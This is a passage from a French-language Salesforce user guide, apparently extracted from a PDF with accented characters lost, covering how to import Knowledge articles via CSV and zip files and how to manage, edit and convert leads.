Les cellules d'un fichier CSV ne peuvent dpasser 32 Ko.

2. Sur la premire ligne, spcifiez les champs et les mtadonnes du type d'article (tels que catgories de donnes ou canaux).
Saisissez un lment dans chaque colonne. Vous pouvez utiliser les champs et les mtadonnes suivants pour importer un
contenu :

Champs standard ou personnaliss : faites rfrence aux champs standard d'un type d'article l'aide de noms de champs
et aux champs personnaliss d'un type d'article l'aide de noms d'API.
Champ de zone de texte enrichi : utilisez les champs personnaliss de zone de texte enrichi pour importer des fichiers
ou des images HTML. Faites rference au champ de zone de texte enrichi d'un type d'article l'aide de son nom d'API.
Pour organiser les articles imports par catgorie, utilisez des groupes de catgories : faites rfrence un groupe de
catgories l'aide de son nom unique prcd de datacategorygroup. Par exemple, utilisez
datacategorygroup.Produits pour spcifier le groupe de catgories Produits.
Pour spcifier l'emplacement partir duquel les article sont disponibles, utilisez des canaux : utilisez le mot cl Canaux.

3. Dans les lignes suivantes, spcifiez les articles importer. Utilisez une ligne par article et saisissez les informations appropries
dans chaque colonne du champ de type d'article ou dans chaque colonne des mtadonnes.

Champs standard ou personnaliss : saisissez les donnes des articles dans chaque champ, l'exception des champs de
zone de texte enrichi dans lesquels vous devez saisir le chemin relatif vers le fichier HTML appropri de votre fichier
zip.
Champ de zone de texte enrichi : saisissez le chemin du fichier HTML qui mne vers l'emplacement du fichier CSV.
a. Nous recommandons de crer un dossier pour les fichiers HTML (par exemple /data) et un dossier distinct pour
les images (par exemple data/images).
Remarque: Pour importer des images, insrez-les dans un fichier HTML l'aide de la balise <img> et de
l'attribut src. Assurez-vous que la valeur src contient un chemin relatif depuis le fichier HTML vers le
dossier image.
b. Dans le fichier CSV, spcifiez le chemin relatif depuis le fichier HTML vers l'emplacement du fichier CSV. Si le
chemin du fichier HTML n'existe pas, l'article associ n'est pas import.
-

Le contenu HTML doit respecter les balises et attributs pris en charge dans le champ de zone de texte enrichi la
page 419.
Chaque fichier HTML ne peut dpasser 32 Ko.
Les images doivent tre des fichiers PNG, GIF ou JPEG.
Chaque fichier d'image ne peut dpasser 1 Mo.
Si un fichier HTML rfrence un fichier non autoris, l'article n'est pas import.
Si un fichier HTML rfrence une image manquante, l'article est import, mais sans l'image.

Groupes de catgories : utilisez des noms de catgorie uniques pour organiser les articles. Utilisez le symbole plus (+)
pour spcifier plusieurs catgories (par exemple, Portable+PC).

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Importation d'articles | 1520

Remarque:
-

Si vous laissez la ligne de la cellule vide, l'article est dfini Aucune catgorie.
Si vous spcifiez une catgorie et son parent (par exemple, Europe+France), le processus d'importation
ignore la catgorie enfant France et conserve la catgorie parente Europe, car l'application d'une catgorie
parente inclut implicitement la catgorie enfant.

Canux : spcifiez les canaux des articles l'aide des mots cls :
-

application pour une application interne.

sites pour une base de connaissances publique.
csp pour le Portail client.

Remarque: Si vous ne spcifiez aucun canal, le canal par dfaut application s'applique.

Utilisez le symbole plus (+) pour spcifier plusieurs canaux (par exemple, application+sites+csp afin de rendre
l'article disponible dans tous les canaux).
Remarque: Si vous laissez une cellule de ligne vide et que le champ du type d'article associ est obligatoire, vos
articles sont ignors.

L'exemple de fichier CSV ci-dessous importe des articles d'offres produit qui contiennent des titres, des rsums et des
descriptions. Il organise les articles dans le groupe de catgories Produits et les rendre disponibles pour des canaux spcifiques.
Le champ description__c est une zone de texte enrichi qui ne prend charge que les chemins vers des fichiers HTML. Le
champ summary__c est une zone de texte qui ne prend en charge que le texte brut. L'article Les meilleures offres d'ordinateurs
de bureau ne contient aucun rsum : la cellule est laisse vide car le champ summary__c n'est pas obligatoire.
Titre

summary__c

description__c

datacategorygroup.Produits Canaux

Appareil photo
numrique gratuit

Le rve de tout passion data/freecamoffer.html Consumer_Electronics application+csp

de photographie !
Recevez le nouvel
appareil photo
numrique. Ce nouvel
appareil stupfiant
comprend un objectif
18-55 mm et un
tlobjectif !

Les meilleures offres

d'ordinateurs de bureau

data/besktdeskcomputerdeals.html Ordinateur de bureau

application+csp

Livraison gratuite pour

les ordinateurs portables
et les ordinateurs de
bureau

data/freeshiplaptop.html Ordinateurs
application+csp
portables+Ordinateurs
de bureau

Exemple de fichier CSV, articlesimport.csv :

Titre,summary__c,description__c,datacategorygroup.Produits,Canaux Appareil photo numrique
gratuit,"Le rve de tout passion de photographie ! Recevez le nouvel appareil photo
numrique. Ce nouvel appareil stupfiant comprend un objectif 18-55 mm et un tlobjectif

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Importation d'articles | 1521

!",data/freecamoffer.html,Consumer_Electronics,application+csp Les meilleures offres

d'ordinateurs de bureau,,data/besktdeskcomputerdeals.html,Ordinateur de bureau,application+csp
Livraison gratuite pour les ordinateurs portables et les ordinateurs de
bureau,,data/freeshiplaptop.html,Ordinateurs portables+Ordinateurs de bureau,application+csp

Spcifier les paramtres d'importation (facultatif)

Pour remplacer les paramtres d'importation par dfaut, vous pouvez spcifier des paramtres d'importation dans un fichier
de proprits contenant des noms de cls et les valeurs corespondantes. Par exemple, vous pouvez utiliser la cl DateFormat
pour dfinir l'affichage d'un champ de date personnalis sous le format suivant : DateFormatt=jj/MM/AAAA ou spcifier le
codage de caractres utiliser pour l'importation.
1. Crez un fichier avec l'extension .properties.
2. Spcifiez les paramtres d'importation requis.
Vous pouvez spcifier les paramtres d'importation suivants :
Cl

Description

Valeur par dfaut

DateFormat

Format de la date lire dans le fichier

CSV

aaaa-MM-jj

DateTimeFormat

Format de la date lire dans le fichier

CSV

aaaa-MM-jj HH:mm:ss

CSVEncoding

Codage de caractres utilis pour lire le ISO8859_15_FDIS

fichier CSV

CSVSeparator

Sparateur du fichier CSV

RTAEncoding

Codage par dfaut utilis pour les

ISO8859_15_FDIS
fichiers HTML (s'ils ne sont pas dfinis
par l'attribut charset dans la balise
HTML meta).

Remarque: Salesforce.com ne
prend pas en charge le codage de
caractres UTF-32. Nous
recommandons d'utiliser le
codage UTF-8. Si vous
dfinissez un codage de
caractres UTF-16, assurez-vous
que vos fichiers HTML
spcifient l'indicateur d'ordre des
octets qui convient.

Exemple de fichier de proprits articlesimport.properties :

DateFormat=aaaa-MM-jj DateTimeFormat=aaaa-MM-jj HH:mm:ss CSVEncoding=ISO8859_15_FDIS
CSVSeparator=, RTAEncoding=UTF-8

Crer et tlcharger un fichier zip contenant les fichiers

1. Crez un fichier zip contenant les lments suivants :

Le fichier CSV.

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Importation d'articles | 1522

Le dossier contenant les fichiers HTML importer.

Le dossier contenant les fichiers d'image rfrencs dans les fichiers HTML.
Le fichier des proprits (facultatif ).
Important: Assurez-vous :

qu'il existe un seul fichier CSV et un seul fichier de proprits (si fourni) ;
que le fichier CSV et le fichier de proprits se trouvent dans le rpertoire racine ;
que le processus de compression prserve l'arborescence de dossiers et de sous-dossiers.

Le fichier zip file ne peut dpasser 10 Mo et les fichiers dcompresss ne peuvent dpasser 100 Mo.
2. Tlchargez votre fichier d'importation :
Important: Assurez-vous que la langue dfinie pour la base de connaissances Salesforce Knowledge dans
Configuration Personnalisation Base de connaissances Paramtres est identique celle utilise dans
les articles que vous importez.
a.
b.
c.
d.

Slectionnez Configuration Gestion des donnes Importer des articles.

Slectionnez le Type d'article qui correspond aux articles imports.
Cliquez sur Parcourir pour slectionner le fichier zip, puis cliquez sur OK.
Cliquez sur Importer maintenant.

Une fois l'importation termine, vous recevez un e-mail avec en pice jointe un fichier journal qui contient les dtails de
l'importation.
Afficher le statut d'importation
Pour consulter le statut de vos importations, slectionnez Configuration Surveillance Importations d'articles. Toutes
les importations sont rpertories, avec les noms de fichiers zip, les types d'articles, ainsi que les dates de soumission, de dpart
et de fin.
Chaque importation indique un statut :

En attente : le fichier zip est tlcharg et plac en file d'attente. Cette importation dmarre ds la fin de l'importation

en attente prcdente. Pour annuler l'importation, vous pouvez cliquer sur Annuler.
Traitement en cours : l'importation est en cours. Pour arrter le processus ou si le processus est interrompu, appelez
l'assistance Salesforce.com. Salesforce.com peut arrter une importation dans les cas suivants :
-

Une tche de maintenance doit tre effectue.

L'importation excde une heure.

Arrt en cours/Arrt : L'importation est en cours d'arrt ou a t arrte par l'assistance Salesforce.com. Contactez

l'assistance Salesforce.com pour redmarrer l'importation.

Abandonn : l'importation a t annule. Les articles imports avec succs restent disponibles dans la Base de donnes
Salesforce. Pour redmarrer l'importation, vous devez tlcharger de nouveau le fichier zip.
Termin : l'importation est termine. Ce statut ne signifie pas que l'importation a russi. Pour consulter les dtails de
votre importation, reportez-vous au fichier journal joint l'e-mail de fin d'importation. Les articles imports avec succs
sont visibles sous l'onglet Gestion des articles dans les vues Mes articles brouillon et Tous les articles
brouillon.

Conseils de mise en uvre

Notez les exigences suivantes relatives l'importation :

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Importation d'articles | 1523

Les processus d'importation qui dpassent une heure sont arrts. Dans ce cas, contactez l'assistance Salesforce.com.
Le fichier zip file ne peut dpasser 10 Mo et les fichiers dcompresss ne peuvent dpasser 100 Mo.
Chaque fichier d'image ne peut dpasser 1 Mo.
Chaque fichier HTML ne peut dpasser 32 Ko.
Les fichiers CSV ne peuvent pas contenir plus de 10 000 lignes.
Les lignes d'un fichier CSV ne peuvent pas contenir plus de 400 000 caractres.
Les cellules d'un fichier CSV ne peuvent dpasser 32 Ko.
Si une date ne correspond pas au format de date dfini dans le fichier des proprits, l'article correspondant n'est pas
import.
Si le chemin du fichier HTML n'existe pas, l'article associ n'est pas import.
Si un fichier HTML rfrence un fichier non autoris, l'article n'est pas import.
Si un fichier HTML rfrence une image manquante, l'article est import, mais sans l'image.

Voir aussi :
Types de champs personnaliss dans les articles
Gestion des articles

Piste
Prsentation des pistes
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Une piste est un prospect ou une opportunit potentielle : une personne que vous avez rencontre une confrence et qui a
manifest un intrt, ou encore quelqu'un qui a rempli un formulaire sur le site Web de la socit.
Les pistes peuvent tre manuellement entres via l'onglet Pistes ou importes par l'administrateur qui peut galement configurer
la fonction Web vers pistes afin de regrouper les informations provenant du site Web de la socit. Les utilisateurs peuvent
galement importer des pistes via l'assistant d'importation de campagne si la case Utilisateur Marketing est coche au
niveau de leurs informations personnelles et s'ils possdent le profil utilisateur Marketing (ou s'ils sont autoriss importer
des pistes ou modifier des campagnes).
L'onglet Pistes affiche une page d'accueil qui vous permet de crer et de trouver des pistes rapidement. Vous pouvez galement
trier et filtrer les pistes l'aide de vues Listes standard et personnalises. En outre, cet onglet vous permet de crer et de modifier
des pistes, de leur associer des vnements et des tches, et de convertir les pistes valides en comptes, contacts et, si vous le
souhaitez, en opportunits.

Voir aussi :
Page d'accueil des pistes

Page d'accueil des pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Pistes :

Autorisation de lecture sur les pistes

Pour afficher des pistes :

Autorisation de lecture sur les pistes

Pour crer des pistes :

Autorisation de cration sur les pistes

Il suffit de cliquer sur l'onglet Pistes pour afficher la page d'accueil des pistes.

Dans la section Vues de piste, slectionnez une vue dans la liste droulante pour accder directement cette page de liste
ou cliquez sur Crer une nouvelle vue pour dfinir votre propre vue personnalise.
Pour afficher les pistes dans une file d'attente, choisissez cette liste de file d'attente dans la liste droulante. Pour chaque
file d'attente que votre administrateur cre, Salesforce.com ajoute une vue de liste de file d'attente correspondante.

Piste

Guide de l'utilisateur | Page d'accueil des pistes | 1525

Remarque: Le modle de partage l'chelle de l'organisation d'objet dtermine l'accs des utilisateurs aux
enregistrements de cet objet dans les files d'attente :
Accs public en lecture/criture/Transfert
Les utilisateurs peuvent afficher et rendre la responsabilit d'enregistrements de n'importe quelle file d'attente.
Accs public en lecture/criture ou Accs public en lecture seule
Les utilisateurs peuvent afficher n'importe quelle file d'attente mais peuvent prendre la responsabilit
uniquement d'enregistrements de files d'attente dont ils sont membres ou, selon les paramtres de partage,
s'ils se situent un niveau suprieur qu'un membre de la file d'attente dans la hirarchie des rles ou des
territoires.
Priv
Les utilisateurs peuvent uniquement afficher et accepter des enregistrements de files d'attente dont ils sont
membres ou, selon les paramtres de partage, s'ils se situent un niveau suprieur qu'un membre de la file
d'attente dans la hirarchie des rles ou des territoires.
Quel que soit le modle de partage, les utilisateurs doivent disposer de l'autorisation de modification pour s'approprier
les enregistrements provenant de files d'attente dont ils sont membres. Les administrateurs et utilisateurs disposant
de l'autorisation au niveau de l'objet Modifier tout' pour les requtes et les utilisateurs disposant de l'autorisation
Modifier toutes les donnes peuvent afficher et extraire des enregistrements de toutes les files d'attente, quel que
soit le modle de partage ou leur appartenance la file d'attente.

Dans la section Pistes rcentes, slectionnez un lment dans la liste droulante pour afficher une brve liste des meilleures
pistes correspondant ce critre. Dans la liste, vous pouvez cliquer sur le nom de toute piste voulue pour passer directement
aux dtails de cette piste. Cliquez alternativement sur les liens Afficher 25 lments et Afficher 10 lments pour changer
le nombre d'lments affichs. Les champs que vous voyez apparatre dpendent de la prsentation de recherche de l'onglet
Pistes dfinie par l'administrateur et des paramtres de scurit relatifs aux champs (disponibles exclusivement dans les
ditions Enterprise Edition, Unlimited Edition et Developer Edition). Voici les options disponibles pour les pistes rcentes :
Option

Description

Mes pistes non lues

Les dix ou vingt-cinq dernires pistes qui vous ont t

attribues et que vous n'avez pas encore consultes ni
modifies. Cette liste ne contient que les enregistrements
dont vous tes responsable.

Affich rcemment

Les dix ou vingt-cinq dernires pistes affiches, les pistes

consultes le plus rcemment figurant en premier dans la
liste. Cette liste provient des lments rcents et contient les
enregistrements dont vous tes responsable et ceux des autres
utilisateurs.

Cr rcemment

Les dix ou vingt-cinq dernires pistes cres, avec les pistes

cres le plus rcemment figurant en premier dans la liste.
Cette liste ne contient que les enregistrements dont vous
tes responsable.

Si l'administrateur a activ l'option Cration rapide, vous pouvez ajouter une nouvelle piste partir de la zone Cration
rapide du menu latral de la page d'accueil des pistes. Vous pouvez galement cliquer sur Nouveau prs de l'intitul Pistes
rcentes pour crer une piste.

Piste

Guide de l'utilisateur | Gestion des pistes | 1526

Sous Rapports, cliquer sur le nom du rapport que vous souhaitez afficher.
Dans la section Rsum, slectionnez des valeurs et cliquez sur Excuter le rapport pour afficher la liste rcapitulative de
vos pistes.
Pour grer les pistes, slectionnez l'un des liens situs sous Outils.
Si des pistes sont partages avec des contacts externes via 100% Salesforce, choisissez l'une des vues de liste sous Pistes
partir des connexions pour afficher les pistes que vos partenaires professionnels ont partages avec vous.

Voir aussi :
Prsentation des pistes
Gestion des pistes
Affichage et modification des pistes
Conversion de pistes
Fusion des pistes en double
Cration de vues Listes personnalises

Gestion des pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Pour que votre organisation puisse commencer utiliser les pistes, votre administrateur doit effectuer la configuration suivante :

Personnaliser les paramtres par dfaut des pistes. Reportez-vous Personnalisation des paramtres de piste la page 587.
Crer des files d'attente de pistes afin de faciliter la rpartition des pistes. Reportez-vous Gestion des files d'attente la
page 139.
Dfinir les rgles permettant d'attribuer automatiquement les pistes. Reportez-vous Gestion des rgles d'attribution la
page 619.
Configurer la fonction Web vers piste, permettant de rcuprer automatiquement des pistes partir du site Web.
Reportez-vous Saisie de pistes Web la page 590.
Importer les pistes existantes de l'entreprise. Reportez-vous Importer mes pistes d'organisation la page 297.
Crer des champs de piste personnaliss. Reportez-vous Cration de champs personnaliss la page 390.
Faire correspondre les champs des pistes personnaliss aux autres champs personnaliss pour pouvoir convertir les pistes.
Reportez-vous Mappage des champs de piste personnaliss la page 589.
Utiliser la liste de slection Statut de la piste pour slectionner le statut par dfaut des nouvelles pistes et des pistes
converties. Reportez-vous Modification des listes de slection la page 374.

Piste

Guide de l'utilisateur | Affichage des listes de pistes | 1527

Affichage des listes de pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des pistes :

Autorisation de lecture sur les pistes

Pour crer des pistes :

Autorisation de cration sur les pistes

La page de liste Pistes affiche la liste des pistes de votre vue actuelle. partir de cette page, vous pouvez afficher des informations
dtailles sur les pistes et accder aux informations d'activit associes.

Cliquez sur le nom d'une piste pour en afficher les dtails. Cliquez sur Modifier ou sur Suppr ct d'une piste particulire
pour respectivement modifier ou supprimer cette piste.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Slectionnez Mes pistes non lues pour afficher toutes vos nouvelles
pistes. Les pistes non lues sont celles dont vous tre responsable mais que vous n'avez pas encore visualises ou modifies.
Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la dans la liste droulante Vue, puis cliquez sur
Modifier.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Pour changer le responsable ou le statut de plusieurs pistes, affichez la vue de liste, puis cochez les cases situes en
regard des pistes voulues. Vous pouvez galement cocher la case situe en regard de l'en-tte de colonne afin de slectionner
tous les lments actuellement affichs. Cliquez ensuite sur le bouton Change Owner ou Change Status.
Si vous modifiez le statut d'une piste dont vous tes responsable l'aide du bouton Modifier le statut, la case Non lu
par le responsable reste slectionne.

Pour devenir le responsable d'une ou plusieurs pistes d'une file d'attente, affichez la vue de liste de la file d'attente et cochez
la case correspondant aux pistes concernes. Vous pouvez galement cocher la case situe en regard de l'en-tte de colonne
afin de slectionner tous les lments actuellement affichs. Cliquez ensuite sur Accepter.
Remarque: Le modle de partage l'chelle de l'organisation d'objet dtermine l'accs des utilisateurs aux
enregistrements de cet objet dans les files d'attente :
Accs public en lecture/criture/Transfert
Les utilisateurs peuvent afficher et rendre la responsabilit d'enregistrements de n'importe quelle file d'attente.
Accs public en lecture/criture ou Accs public en lecture seule
Les utilisateurs peuvent afficher n'importe quelle file d'attente mais peuvent prendre la responsabilit
uniquement d'enregistrements de files d'attente dont ils sont membres ou, selon les paramtres de partage,
s'ils se situent un niveau suprieur qu'un membre de la file d'attente dans la hirarchie des rles ou des
territoires.
Priv
Les utilisateurs peuvent uniquement afficher et accepter des enregistrements de files d'attente dont ils sont
membres ou, selon les paramtres de partage, s'ils se situent un niveau suprieur qu'un membre de la file
d'attente dans la hirarchie des rles ou des territoires.

Piste

Guide de l'utilisateur | Affichage des listes de pistes | 1528

Quel que soit le modle de partage, les utilisateurs doivent disposer de l'autorisation de modification pour s'approprier
les enregistrements provenant de files d'attente dont ils sont membres. Les administrateurs et utilisateurs disposant
de l'autorisation au niveau de l'objet Modifier tout' pour les requtes et les utilisateurs disposant de l'autorisation
Modifier toutes les donnes peuvent afficher et extraire des enregistrements de toutes les files d'attente, quel que
soit le modle de partage ou leur appartenance la file d'attente.

Pour ajouter des pistes une campagne existante, activez les cases situes en regard des pistes souhaites. Vous pouvez
galement cocher la case situe en regard de l'en-tte de colonne afin de slectionner tous les lments actuellement affichs.
Cliquez ensuite sur Ajouter la campagne.
Cliquez sur Nouvelle piste ou slectionnez Piste dans la liste droulante Crer du menu latral pour crer une piste.
Cliquez sur un en-tte de colonne pour trier les pistes par ordre croissant en fonction des informations contenues dans
cette colonne. Cliquez de nouveau sur l'en-tte pour trier la colonne par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de pistes suivant (ou revenir au groupe de
pistes prcdent).
Au bas de la vue de liste des pistes, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.
Cliquez sur le lien Ouvrir le calendrier en bas de la page pour afficher une vue hebdomadaire d'un calendrier sous la
liste. Ensuite, vous pouvez faire glisser un enregistrement de la liste vers une priode dans le calendrier pour crer rapidement
un vnement associ l'enregistrement. Notez que votre administrateur contrle la disponibilit de la planification par
glisser-dplacer.
Remarque: Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez
accorder un accs plus tendu aux pistes que ne le permet le modle de partage. Reportez-vous Dfinition des rgles
de partage la page 177.

Piste

Guide de l'utilisateur | Modification de plusieurs pistes | 1529

Modification de plusieurs pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier le statut des pistes :
Pour modifier la responsabilit des pistes :

Grer les pistes

Transfrer les pistes OU transfrer l'enregistrement
ET
Modifier dans les pistes

Pour ajouter des pistes aux campagnes partir d'une vue de

liste :

Option Utilisateur Marketing active dans votre

enregistrement utilisateur
AND
Autorisation de lecture sur les pistes
AND
Autorisation de modification sur les campagnes

Un administrateur peut effectuer une mise jour en masse de plusieurs pistes partir d'une page de liste de pistes. partir
d'une vue de liste de files d'attente, les utilisateurs peuvent prendre la responsabilit de pistes dans les cas suivants :

Ils sont membres de cette file d'attente

Leur niveau dans la hirarchie des rles est suprieur celui d'un membre de la file d'attente
Le partage par dfaut de l'organisation pour les pistes est Accs public en lecture/criture/transfert

Activez les cases en regard des pistes souhaites et cliquez sur l'un des boutons suivants :

Accepter : Vous attribue en tant que responsable des pistes slectionnes et vous transmet les activits en cours.
Modifier le statut : Change le Statut des pistes en fonction de la valeur indique.
Vous devez disposer de l'autorisation Grer les pistes et de l'accs en lecture/criture aux pistes pour pouvoir utiliser cette
fonction. Si vous modifiez le statut d'une piste dont vous tes responsable l'aide du bouton Modifier le statut, la case
Non lu par le responsable reste slectionne.

Modifier le responsable : Attribue des pistes un utilisateur une file d'attente que vous spcifiez : Si le nouveau responsable
est un utilisateur, pas une file d'attente, les notes, les pices jointes et les activits en cours associes sont galement
transfres.
Pour utiliser cette fonction, vous devez disposer de l'autorisation Transfrer les pistes ou Transfrer l'enregistrement
, de l'autorisation Modifier l'objet dans les pistes et de l'accs l'affichage des pistes que vous mettez jour.

Ajouter la campagne : Ajoute des pistes une campagne existante.

Piste

Guide de l'utilisateur | Affichage et modification des pistes | 1530

Pour utiliser cette fonction, vous devez cocher la case Utilisateur marketing dans les informations utilisateur, disposer
de l'autorisation Lire sur les pistes et de l'autorisation Modifier sur les campagnes.

Voir aussi :
Modification de la responsabilit

Affichage et modification des pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des pistes :

Autorisation de lecture sur les pistes

Pour modifier des pistes :

Autorisation de modification sur les pistes

Affichage de pistes
Aprs avoir localis une piste sur la page d'accueil ou dans les pages de liste des pistes, cliquez sur le nom de la piste pour
afficher des informations dtailles.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Modification de pistes
Pour mettre jour une piste, cliquez sur Modifier, puis modifiez les champs que vous souhaitez mettre jour. Vous
pouvez galement cocher la case Attribuer en utilisant des rgles d'attribution actives sous les
dtails de la piste pour la rattribuer automatiquement l'aide de la rgle d'attribution de piste active (reportez-vous
Gestion des rgles d'attribution la page 619). Les activits en cours associes une piste ne sont pas rorganises l'aide
de la rgle d'attribution de piste active. Pour rattribuer une piste et ses activits en cours, modifiez manuellement le
responsable de la piste la page 1067. Lorsque vous avez termin, cliquez sur Enregistrer. Vous pouvez galement cliquer
sur Enregistrer et Nouveau pour enregistrer la piste en cours et en crer une autre.
Remarque: Si votre organisation a activ la modification en ligne, vous pouvez modifier les champs directement
dans la page de dtails.

Marquage de pistes
Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un
noms de balise pour afficher une liste de tous les enregistrements contenant cette balise.

Piste

Guide de l'utilisateur | Historique des pistes | 1531

Listes associes aux pistes

La partie infrieure de l'cran affiche des informations relatives la piste, y compris les activits, les notes, les pices
jointes et les ventuelles campagnes associes. Les listes associes qui s'affichent dpendent de vos paramtres de
personnalisation et de ceux dfinis par votre administrateur pour la prsentation des pages ou par vos autorisations
d'affichage des donnes connexes. Vous pouvez cliquer sur des lments individuels pour afficher des dtails
supplmentaires. Cliquez sur plus au bas de la page pour afficher plus d'lments. Pour plus d'informations, consultez
les rubriques Utilisation de la list associe des activits en cours la page 1082 et Utilisation de la liste associe de l'historique
des activits la page 1083
Partage
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, pour partager une piste avec
d'autres utilisateurs, groupes ou rles, cliquez sur Partage. Reportez-vous Partage de pistes la page 1535.
Impression de pistes
Pour afficher une vue imprimable de toutes les informations sur un enregistrement, cliquez sur Vue imprimable dans la
page de dtails.
Pour revenir la dernire page de liste affiche, cliquez sur Retour la liste en haut de la page de dtails de la piste. Si votre
organisation a activ l'option de rduction des sections de page, utilisez les icnes reprsentant des flches prs des en-ttes
de section pour dvelopper ou rduire chaque section de la page des dtails.

Voir aussi :
Conversion de pistes
Ajout, modification ou clonage de membres de campagne individuels
Modification du champ de type d'enregistrement
Ajout de noms traduits
Partage de pistes
Fusion des pistes en double

Historique des pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des pistes :

Autorisation de lecture sur les pistes

La liste associe l'historique des pistes d'une page de dtails des pistes suit les modifications apportes la piste. Chaque fois
qu'un utilisateur modifie un champ standard ou personnalis dont l'historique doit tre dans la piste, une nouvelle entre est
ajoute la liste Historique des pistes associe. Toutes les entres comprennent la date, l'heure et la nature de la modification,
ainsi que le nom de l'utilisateur ayant apport la modification. Les modifications apportes aux listes associes de la piste ne
sont pas suivies dans l'historique de la piste. Pour plus d'informations sur la configuration des champs suivis, reportez-vous
Suivi de l'historique des champs la page 410.

Piste

Guide de l'utilisateur | Conversion de pistes | 1532

Pour les changements de piste automatiss rsultant de la fonction Web vers piste, l'utilisateur rpertori dans l'historique est
le crateur de pistes par dfaut dfini dans les paramtres de la fonction Web vers piste.

Conversion de pistes
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour convertir des pistes :

Autorisations de cration et de modification des pistes,

comptes, contacts et opportunits
AND
Conversion de pistes
AND
Autorisation de lecture sur les campagnes associes

Lors de la conversion d'une piste, Salesforce.com cre un compte, un contact et (en option) une opportunit l'aide des
informations de la piste. Si un compte et un contact existants contiennent les mmes noms que ceux spcifis dans la piste,
vous pouvez mettre jour le compte ou le contact existant. Les informations de la piste sont insres uniquement dans des
champs vides. Salesforce.com n'crase pas les donnes du compte et du contact existants.
Toutes les activits ouvertes et closes de la piste sont jointes au compte, au contact et l'opportunit. Vous pouvez attribuer
le responsable des enregistrements et planifier une tche de suivi. Lorsque vous affectez un nouveau responsable, seules les
activits ouvertes lui sont attribues. Si vous avez des champs de piste personnaliss, ces informations peuvent galement tre
insres dans des champs de compte, de contact ou d'opportunit personnaliss. Avant de convertir des pistes, votre
administrateur doit configurer les mappages pour les champs de piste personnaliss. Les pistes converties ne peuvent pas tre
affiches, bien qu'elles figurent dans les rapports sur les pistes. Salesforce.com met jour le champs systme Date de
dernire modification et Dernire modification par dans les pistes converties lorsque les valeurs de liste de
slection incluses dans des pistes converties sont modifies.
Pour convertir une piste :
1. Dans la page de dtails de la piste, cliquez sur Convertir.
2. Si vous le dsirez, vous pouvez changer le propritaire des nouveaux enregistrements. Vous rattribuez ainsi toutes les
activits en cours, les notes et les pices jointes au nouveau responsable sans toutefois modifier les activits closes. Cochez
la case Envoyer un e-mail au responsable pour envoyer automatiquement un e-mail au nouveau propritaire.
3. Dans le champ Nom du compte, slectionnez un nouveau compte ou recherchez un compte existant. Cliquez sur Afficher
pour ouvrir une vue imprimable du compte existant. Les informations concernant la piste sont insres dans des champs
vides et n'crasent pas les donnes du compte existant.
4. Si vous mettez jour un compte personnel existant, cochez la case indiquant de remplacer la valeur du champ Origine
de la piste du compte personnel par la valeur issue de la piste.
5. Dans le champ Nom d'opportunit, saisissez un nom pour la nouvelle opportunit ou activez la case Ne crez pas
d'opportunit lors de la conversion si vous ne souhaitez pas crer une opportunit.
6. Dans la liste de slection Statut converti, slectionnez un statut pour la piste convertie. Les options disponibles
comprennent des statuts marqus comme convertis par l'administrateur.

Piste

Guide de l'utilisateur | Conversion de pistes | 1533

7. Vous pouvez en option renseigner les champs ci-dessous pour planifier une tche de suivi qui est automatiquement attribue
au responsable de l'enregistrement :

Objet : objet ou courte description de la tche, par exemple Envoyer par e-mail un devis au client. Vous pouvez saisir

un objet ou le slectionner dans une liste de d'objets prcdemment dfinis.

chance (facultatif ) : date laquelle la tche doit tre termine. Vous pouvez saisir une date ou la slectionner dans
le calendrier qui s'affiche lorsque vous positionnez le curseur dans le champ.
Commentaires (facultatif ) : note textuelle qui dcrit la tche. Ce champ peut contenir jusqu' 32 Ko de donnes.
Statut : statut actuel d'une tche, par exemple Non dmarre ou Termine (les slections dans les listes peuvent tre
personnalises par l'administrateur).
Priorit : urgence de la tche, par exemple Faible, Moyenne ou leve. (les slections dans les listes peuvent tre
personnalises par l'administrateur).
Envoyer une notification par e-mail (facultatif ) : activez cette case pour envoyer une notification concernant
cette tche au bnficiaire.
Rappel (facultatif ) : activez cette case pour planifier un rappel relatif cette tche.

8. Cliquez sur Convertir.

9. S'il existe un contact en double, indiquez si vous voulez crer un nouveau contact ou mettre jour le contact existant. Les
informations concernant la piste sont insres dans des champs vides et n'crasent pas les donnes du contact existant.
10. Lorsque vous mettez jour un contact existant, cochez la case pour remplacer la valeur du champ Origine de la piste
du contact par la valeur provenant de la piste.
11. Cliquez sur Convertir pour terminer.
